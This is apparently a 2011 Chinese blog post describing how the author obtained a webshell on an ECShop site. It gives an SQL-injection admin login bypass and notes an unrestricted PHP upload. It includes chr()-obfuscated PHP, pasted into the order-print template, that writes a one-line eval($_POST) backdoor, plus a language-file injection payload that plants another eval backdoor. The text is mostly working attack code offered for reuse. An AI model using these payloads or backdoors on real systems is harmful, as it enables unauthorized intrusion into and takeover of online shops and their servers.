Title:linux系统ecshop拿shell方法 --2011-06-08 13:23php
最近弄一个站,对ECSHOP拿shell不了解,致使走了不少的弯路。linux
nginx/0.8.54的服务器,magic_quotes_gpc开启转义,不少的页面被删除了。nginx
后台有or漏洞,用户"' or 1=1 #"密码随便填.shell
开始我也不知道,了解得少。服务器
网站的myship.php访问无果,可是库项目管理模版能够编辑,找不到文件路径未果,由于用的是nginx/0.8.54,解析漏洞被修补。post
不少拿shell的方法不能用,好比备份x.php.spl,FCK建立X.asp类文件夹。网站
开始在后台转了好久,一直没有点Flash 播放器管理 上次PHP试试,后面没有想到能够上传PHP的文件,没有限制。3d
后面再上网找了下其余的方法。blog
后台-订单管理-订单打印-选择源代码编辑-保存
返回订单列表,随意选择一个订单打印,返回OK,生成一句话成功!
如下是编辑的代码:ip
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
<?
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------
../null.php
<?php eval($_post[usb]);?>
这个是路径和密码。
我还有个想法就是'单引号没有被转义的时候,管理中心- 语言项编辑 编辑其中的PHP页面,闭合单引号.
shopping_flow.php 编辑
输入语言项关键字: 活动列表
活动列表';?><?php @eval($_POST[ok]);?><?'ok
保存
而后访问
http://site/languages/zh_cn/shopping_flow.php
由于试的时候'被转义不能闭合活动列表后面的单引号,因此没成功。
谁有其余方法,能够一块儿讨论下。